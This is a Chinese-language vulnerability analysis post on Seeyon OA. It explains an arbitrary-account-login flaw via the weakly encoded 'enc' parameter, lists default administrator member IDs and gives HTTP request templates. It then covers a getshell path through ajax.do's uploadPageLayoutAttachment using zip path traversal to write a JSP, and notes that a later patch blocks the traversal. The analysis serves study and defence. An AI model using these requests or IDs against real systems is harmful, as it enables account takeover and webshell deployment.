某远OA任意账户登陆-漏洞分析
某远OA漏洞分析
hw已经开始2天啦,期间爆出不少漏洞,这也是一个不错的学习机会,可以学一下大佬的挖洞姿势。
看到某远OA出现了漏洞,随笔写下分析文章。经典的组合漏洞。其实只要进了后台,还是有几个方法可以拿到shell的。
本机环境:
Windows 10
Mysql 5.5.37
S1 V1.9.5/Seeyon A8+/V7.0 SP1
一.任意账户登陆分析
根据互联网上的POC来看。漏洞在/thirdpartyController.do"
且method为access
.
根据xml配置文件确定thirdpartyController.do
对应类为com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController
漏洞分析:
主要问题在于enc参数的加解密上。
if (request.getParameter("enc") != null) {
enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
} else {
String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
enc = (request.getQueryString().indexOf("enc=") > 0) ? LightWeightEncoder.decodeString(transcode) : null;
}
if (enc == null) {
mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
return mv;
}
如果enc参数的值不为空。则进LightWeightEncoder.decodeString
进行解密。
这里切入LightWeightEncoder
类。
定义了两个方法,encodeString
和decodeString
.及加密/解密。也就是说,在enc不为空条件下,将其内容传入decodeString
方法进行解密。
加解密的规则是将字符通过toCharArray()
方法转换为字符数组。
然后通过for循环,将每个字符的char值上加一。
如:abcd => char() 97 98 99 100
转换后为:char() 98 99 100 101 => bcde
最后返回base64编码过后的内容。
回到thirdpartyController.do
中。看enc
解密过后的内容进行了哪些操作。
Map<String,String> encMap = new HashMap<String, String>();
String[] enc0 = enc.split("[&]");
for (String enc1 : enc0) {
String[] enc2 = enc1.split("[=]");
if (enc2 != null) {
String key = enc2[0];
String value = (enc2.length == 2) ? enc2[1] : null;
if (null != value) {
value = URLEncoder.encode(value);
value = value.replaceAll("%3F", "");
value = URLDecoder.decode(value);
}
encMap.put(key, value);
}
}
先创建了一个HashMap
。然后将enc的内容以&
进行分割。在以=
分割出key
和value
.后写入encMap中。
也就是说test=123
分割后key:test value:123
。
继续往下:
String linkType = encMap.get("L");
//取L键指
String path = encMap.get("P");
//取P键指
if (Strings.isNotBlank(linkType))//一次判空。 {
String startTimeStr = "0";//默认值
if (encMap.containsKey("T")) {
startTimeStr = encMap.get("T");//取T键值
startTimeStr = startTimeStr.trim();
}
Long timeStamp = Long.valueOf(0L);
if (NumberUtils.isNumber(startTimeStr)) {
timeStamp = Long.valueOf(Long.parseLong(startTimeStr));
} else {
timeStamp = Long.valueOf(DateUtil.parse(startTimeStr, "yyyy-MM-dd HH:mm:ss").getTime());
}
if ((System.currentTimeMillis() - timeStamp.longValue()) / 1000L > (this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
return mv;
}
String _memberId = encMap.get("M");
这里注意encMap
的使用。
主要变量有:linkType
,path
,startTimeStr
,_memberId
,ticket
分别取encMap中的:L
,P
,T
,M
,C
键的值。
startTimeStr
为T
键的值。下方对startTimeStr
进行判断,如果是数字,则转换成long
类型。如果不是数字,则按照yyyy-MM-dd HH:mm:ss
的格式转换为日期。在转换成long
类型的时间时间戳。
需要注意下方的if判断,如果System.currentTimeMillis()
的值减去startTimeStr
在除1000L如果大于getContentLinkValidity() * 60 * 60)
的值。则返回超时。这里的getContentLinkValidity
我没追到,应该是在消息邮件设置中配置。但返回的是个int类型。这里的startTimeStr
的随便传入一个较大的数字就行了。
接着往下走。。。
下方分别对linkType,_memberId的值进行了判空操作以及对link的赋值。
link=(String)UserMessageUtil.getMessageLinkType().get(linkType)
linkType的值有很多。网上的POC大多是message.link.doc.folder.open
。这个有很多,具体参考安装目录下的seeyon/WEB-INF/cfgHome/base/message-link.properties
文件,随便选一个就可以了。这里不重要,主要是为了让link
变量的值不为空。和后面的具体操作没啥关系。
若为空,都会返回mail.read.alert.wuxiao
下面就是关键的几个步骤了,也是漏洞点出现的地方。
如果当前会话中的com.seeyon.current_user
为空。那么进入esle
V3xOrgMember member = this.orgManager.getMemberById(Long.valueOf(memberId));
在else中,通过getMemberById
方法查询memberId
所对应的用户。如果member
不为空。则创建currentUser
对象
session.setAttribute("com.seeyon.current_user", currentUser);
在会话中设置用户信息。导致任意账户登陆。
这里的memberId
是取的 encMap
中的M
键值
String _memberId = encMap.get("M");
为可控参数。
该值安装时存在4个默认id。对应不同权限
"5725175934914479521" "集团管理员"
"-7273032013234748168" "系统管理员"
"-7273032013234748798" "系统监控"
"-4401606663639775639" "审计管理员"
POC:
获取Cookie
测试Cookie是否可用:
GET /seeyon/main.do?method=headerjs&login=-1448586625 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://192.168.137.1/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=<Payload>; loginPageURL=; login_locale=en
Connection: close
二.Getshell
文件上传就直接跳过了(没啥好看的)
这里主要分析ajax.do
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D
method
=ajaxAction
,managerName
=portalDesignerManager
,managerMethod
=uploadPageLayoutAttachment
参数:
arguments=[0,"2021-04-09","5818374431215601542"]
这里需要注意:
ajax.do
下的ajaxAction
是通过invokeService
方法是调用一些服务
POC中managerName
为portalDesignerManager
.当前环境A8+/V7.0SP1中,没有找到这个类。于是去低版本中扒了一个。(低版本才存在这个漏洞。具体影响版本未知)。
jar包为:seeyon-ctp-portal.jar
managerMethod
=uploadPageLayoutAttachment
传递的参数为:
arguments=[0,"2021-04-09","5818374431215601542"]
attchmentIdStr=0
createDate=2021-04-09
fileUrl=5818374431215601542
rootPath
为上传时产生的文件夹。(日期命名 年-月-日)
String rootPath = this.fileManager.getFolder(Datetimes.parse(createDate, "yyyy-MM-dd"), false);
fileUrl
为上传时返回的 fileid
后面直接使用ZipUtil进行解压
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
解压后的路径是common/designer/pageLayout
+一层uuid。这里可以尝试跨目录。
参考文章:
https://www.o2oxy.cn/3394.html
由于本地环境太新了。。。没这个漏洞,所以,我把所需要的jar包导出来本地写了个demo
import com.seeyon.ctp.common.SystemEnvironment;
import com.seeyon.ctp.util.UUIDLong;
import com.seeyon.ctp.util.ZipUtil;
import java.io.File;
import java.io.IOException;
public class main {
public static void main(String[] args) throws IOException {
String pageLayoutRootPath = SystemEnvironment.getApplicationFolder();
String fileUrl="1.zip";
String rootPath = "/Users/yuanhai/Desktop/Seeyon/2021-4-11";
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
}
}
文件正常解压,可getshell。
分析到此结束。
一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一
填坑,文章发出来。有几位师傅说有坑,确实。复现过程中遇到了一个坑。
ZipUtil.unzip(zipFile, unzipDirectory);
就在于这个ZipUtil。有几位师傅可能也尝试跟我一样写demo去复现。会发现一个错误。
Entry is outside of the target dir
这样需要注意一下。版本问题。版本问题。版本问题。重要的事情说三遍。
只有seeyon-ctp-core.jar
的修改时间为2018-05-24
才能使用../去跨随机生成的uuid目录。
那么?这个有办法绕过吗?对比下修复后与修复前的代码
修复后:
修复前:
没有较大的改动,主要就是多了两行代码,一个if判断
if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath))
throw new UnsupportedOperationException("Entry is outside of the target dir: " + canonicalDestinationFile);
如果canonicalDestinationFile
的内容不是以canonicalDestinationDirPath
的内容最为开头,则抛出异常UnsupportedOperationException
.
本地debug跟一下这两个的内容。先是for循环处理了layout.xml。后面解压../1.jsp
文件。
在此处添加断点。然后一步一步走。
当开始解压../1.jsp
进入if判断的时候,可以看到两个值的内容。canonicalDestinationDirPath
=/Users/yuanhai/Desktop/Seeyon/1/common/designer/pageLayout/-5320738651035909811
canonicalDestinationFile
=/Users/yuanhai/Desktop/Seeyon/1/common/designer/pageLayout/1.jsp
在进行的if的时候。由于canonicalDestinationFile
在拼接文件名的时候就已经跨出了uuid目录。导致无法满足以canonicalDestinationDirPath
的值作为开头。条件不满足,则抛出UnsupportedOperationException
异常。
无法绕过。。